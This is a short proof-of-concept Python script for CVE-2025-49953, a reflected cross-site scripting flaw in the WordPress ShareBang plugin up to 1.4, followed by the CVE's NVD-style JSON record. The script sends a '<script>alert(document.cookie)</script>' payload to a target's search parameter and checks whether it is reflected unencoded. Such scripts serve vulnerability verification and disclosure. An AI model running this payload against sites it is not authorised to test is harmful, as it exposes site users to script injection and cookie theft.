CVE-2025-49953

import requests import urllib.parse # CVE-2025-49953 PoC - WordPress ShareBang Reflected XSS # Target: WordPress site with ShareBang plugin <= 1.4 def generate_xss_payload(): """Generate XSS payload for the vulnerability""" # Basic script injection payload payload = '<script>alert(document.cookie)</script>' return urllib.parse.quote(payload) def test_reflected_xss(target_url, param_name='s'): """ Test for reflected XSS vulnerability in ShareBang plugin Args: target_url: Base URL of the WordPress site param_name: Parameter name to test (commonly 's' for search) Returns: Boolean indicating if the vulnerability exists """ payload = generate_xss_payload() # Construct malicious URL with XSS payload test_url = f"{target_url}?{param_name}={payload}" print(f"[*] Testing target: {test_url}") try: response = requests.get(test_url, timeout=10) # Check if payload is reflected without encoding if payload.replace('%3Cscript%3E', '<script>') in response.text or \ '<script>alert(document.cookie)</script>' in response.text: print("[!] VULNERABLE: XSS payload reflected without encoding") return True else: print("[-] Not vulnerable or payload was sanitized") return False except requests.RequestException as e: print(f"[!] Error: {e}") return False # Example usage if __name__ == "__main__": target = "http://target-wordpress-site.com" test_reflected_xss(target)

{"cve": {"id": "CVE-2025-49953", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:41.747", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in themeinity ShareBang, Ultimate Social Share Buttons for WordPress sharebang allows Reflected XSS.This issue affects ShareBang, Ultimate Social Share Buttons for WordPress: from n/a through <= 1.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sharebang/vulnerability/wordpress-sharebang-ultimate-social-share-buttons-for-wordpress-plugin-1-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}